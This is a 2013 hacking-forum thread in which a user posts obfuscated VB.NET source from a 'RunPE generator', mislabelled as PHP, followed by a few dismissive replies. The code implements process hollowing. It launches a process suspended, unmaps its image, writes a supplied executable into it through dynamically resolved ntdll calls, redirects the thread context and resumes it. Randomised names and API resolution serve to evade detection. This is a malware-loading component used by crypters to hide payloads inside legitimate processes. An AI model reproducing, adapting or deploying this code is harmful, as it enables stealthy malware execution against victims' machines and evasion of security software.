

Forum:[Hack Forums](#)

Thread: [RunPE generated of Bawaneh RunPE Generator](#)

touchboy13 - October 19, 2013, 4:41 pm

PHP Code

```
<?php
```

```
Imports System.Runtime.InteropServices
```

```
Imports System.Text
```

```
"" <summary>
```

```
"" Author : By Bawaneh RunPE Generator - bawanehsoft.blogspot.com/
```

```
"" Thanks : Simon-Binyo (For The smRunPE)
```

```
"" Call : Dim x AS New OhtgqqOwdpv: x.JzIEYbewqGN( byte() , String )
```

```
"" </summary>
```

```
Public Class OhtgqqOwdpv
```

```
    Public Declare Function IPOtPc Lib "kernel32" Alias "LoadLibraryA" (ByVal iKYz As String) As IntPtr
```

```
    Public Declare Function FCICEf Lib "kernel32" Alias "GetProcAddress" (ByVal jfVM As IntPtr, ByVal iKYz As String) As IntPtr
```

```
    Function gxsYqeaBriFvRCh(Of T)(ByVal iKYz As String, ByVal nxZU As String) As T
```

```
        Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(FCICEf(IPOtPc(iKYz), nxZU), GetType(T)), Object), T)
```

```
    End Function
```

```
    Delegate Function srXjjs(ByVal ixjf As IntPtr, ByVal qqiQivjgB As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
```

```
    Delegate Function qWBFnu(ByVal eytr As IntPtr, ByVal MLgU As IntPtr) As UInteger
```

```
    Delegate Function fDzzgF(ByVal eytr As IntPtr, ByVal MLgU As IntPtr, ByRef bufr As IntPtr, ByVal bufryHdLTneqz As Integer, ByRef yVaq As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
```

```
    Delegate Function twWzcs(ByVal ixjfead As IntPtr, ByVal pWuO As IntPtr) As UInteger
```

```
    Delegate Function xqNXOn(ByVal ixjf As IntPtr, ByVal qqiQivjgB As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
```

```
    Delegate Function dYidnJ(ByVal eytr As IntPtr, ByVal VzNP As IntPtr, ByVal yHdLTneqz As IntPtr, ByVal DMr As Integer, ByVal QXb As Integer) As IntPtr
```

```
    Delegate Function jKJOnE(ByVal eytress As IntPtr, ByVal pDyTOWotF As IntPtr, ByVal LuQf As Byte(), ByVal nyHdLTneqz As UInteger, ByVal IrTLjBqEt As Integer) As Boolean
```

```
Public Declare Auto Function ynzpOo Lib "kernel32" Alias "CreateProcessW" (ByVal rXjh As String, ByVal ZkVJ As StringBuilder, ByVal roaFnUqzy As IntPtr, ByVal mYtt As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal CwkD As Boolean, ByVal iZDE As Integer, ByVal RmPh As IntPtr, ByVal dZNQ As String, ByVal txEb As Byte(), ByVal xkFw As IntPtr()) As <MarshalAs(UnmanagedType.Bool)> Boolean
```

```
Private Function KsDRaDR(ByVal NGRTgas As Long, Optional ByVal HfyaPGi As Long = &H4) As Integer
```

```
    Dim xnaZuqG As IntPtr
```

```
    Dim ePkPmjP As Integer
```

```
    Dim NMyLq As fDzzgF = gxsYqeaBriFvRCh(Of fDzzgF)("ntdll", "NtReadVirtualMemory")
```

```
    Call NMyLq(Process.GetCurrentProcess.Handle, NGRTgas, xnaZuqG, HfyaPGi, ePkPmjP)
```

```
    Return xnaZuqG
```

```
End Function
```

```
Public Function JzIEYbewqGN(ByVal ZWCDwOPJ As Byte(), ByVal TfcBCUJZ As String) As Boolean
```

```
    Try
```

```
        Dim SujdnfCN As GCHandle = GCHandle.Alloc(ZWCDwOPJ, GCHandleType.Pinned) :  
Dim hModuleBase As Integer = SujdnfCN.AddrOfPinnedObject : SujdnfCN.Free()
```

```
        Dim roaFnUqzy As IntPtr = IntPtr.Zero
```

```
        Dim IJHvcBwut As IntPtr() = New IntPtr(3) {}
```

```
        Dim ClcLuJzWm As Byte() = New Byte(67) {}
```

```
        Dim jenlsDYVc As Integer = BitConverter.ToInt32(ZWCDwOPJ, 60)
```

```
        Dim oXVxiYXnl As Integer
```

```
        Dim qqiQivjgB As UInteger() = New UInteger(178) {}
```

```
        qqiQivjgB(0) = &H10002
```

```
        ynzpOo(Nothing, New StringBuilder(TfcBCUJZ), roaFnUqzy, roaFnUqzy, False, 4,  
        roaFnUqzy, Nothing, ClcLuJzWm, IJHvcBwut)
```

```
        Dim TXCiptzeF As Integer = (hModuleBase + KsDRaDR(hModuleBase + &H3C))
```

```
        oXVxiYXnl = KsDRaDR(TXCiptzeF + &H34)
```

```
        Dim ZjrWv As qWBFnu = gxsYqeaBriFvRCh(Of qWBFnu)("ntdll", "NtUnmapViewOfSection")
```

```
        ZjrWv(IJHvcBwut(0), oXVxiYXnl)
```

```
Dim FMKXj As dYidnJ = gxsYqeaBriFvRCh(Of dYidnJ)("kernel32", "VirtualAllocEx")
```

```
Dim pDyTOwotF As IntPtr = FMKXj(IJHvcBwut(0), oXVxiYXnl, KsDRaDR(TXCiptzeF + &H50), &H3000, &H40)
```

```
Dim npkRHZNN As New IntPtr(BitConverter.ToInt32(ZWCDwOPJ, jenlsDYVc + &H34))
```

```
Dim yHdLTneqz As New IntPtr(BitConverter.ToInt32(ZWCDwOPJ, jenlsDYVc + 80))
```

```
Dim mXwhOZHKN As Integer
```

```
Dim lrTLjBqEt As Integer
```

```
Dim api8 As jKJOnE = gxsYqeaBriFvRCh(Of jKJOnE)("ntdll", "NtWriteVirtualMemory")
```

```
api8(IJHvcBwut(0), pDyTOwotF, ZWCDwOPJ, CUInt(CInt(KsDRaDR(TXCiptzeF + &H54))), mXwhOZHKN)
```

```
For i = 0 To KsDRaDR(TXCiptzeF + &H6, 2) - 1
```

```
Dim bXJugloyC As Integer() = New Integer(9) {}
```

```
Buffer.BlockCopy(ZWCDwOPJ, (jenlsDYVc + &HF8) + (i * 40), bXJugloyC, 0, 40)
```

```
Dim vniRDrJmH As Byte() = New Byte((bXJugloyC(4) - 1)) {}
```

```
Buffer.BlockCopy(ZWCDwOPJ, bXJugloyC(5), vniRDrJmH, 0, vniRDrJmH.Length)
```

```
yHdLTneqz = New IntPtr(pDyTOwotF.ToInt32() + bXJugloyC(3))
```

```
npkRHZNN = New IntPtr(vniRDrJmH.Length)
```

```
api8(IJHvcBwut(0), yHdLTneqz, vniRDrJmH, CUInt(npkRHZNN), lrTLjBqEt)
```

```
Next i
```

```
Dim FADg As srXjjs = gxsYqeaBriFvRCh(Of srXjjs)("ntdll", "NtGetContextThread")
```

```
FADg(IJHvcBwut(1), qqiQivjgB)
```

```
api8(IJHvcBwut(0), qqiQivjgB(41) + &H8, BitConverter.GetBytes(pDyTOwotF.ToInt32()), CUInt(&H4), lrTLjBqEt)
```

```
qqiQivjgB(&H2C) = oXVxiYXnl + KsDRaDR(TXCiptzeF + &H28)
```

```
Dim wUmXO As xqNXOn = gxsYqeaBriFvRCh(Of xqNXOn)("ntdll", "NtSetContextThread")
```

```
wUmXO(IJHvcBwut(1), qqiQivjgB)
```

```
Dim kCscC As twWzcs = gxsYqeaBriFvRCh(Of twWzcs)("ntdll", "NtResumeThread")
```

```
kCscC(IJHvcBwut(1), 0)
```

Catch ex As Exception

Return False

End Try

Return True

End Function

End Class

gigajew - *October 19, 2013, 5:53 pm*

I don't understand why you would post this.

Banks? - *October 19, 2013, 10:23 pm*

(Oct 19, 2013 05:53 PM)gigajew Wrote: [\[CITE\]](#) I don't understand why you would post this.
HF tends to breed all types of retard, including this one.

nathan72389 - *October 19, 2013, 11:07 pm*

AND THE POINT OF THIS WAS?

....

..

..

.

..

...

. wait, i know,.

you wanted to look cool!

..

[img]<http://content.screencast.com/users/n72389/folders/Snagit/media/a44abde0-f482-411e-8769-1d541740b005/10.20.2013-02.08.png>[/img]

,,

,, ,,

,,,

,,

heres yiour cool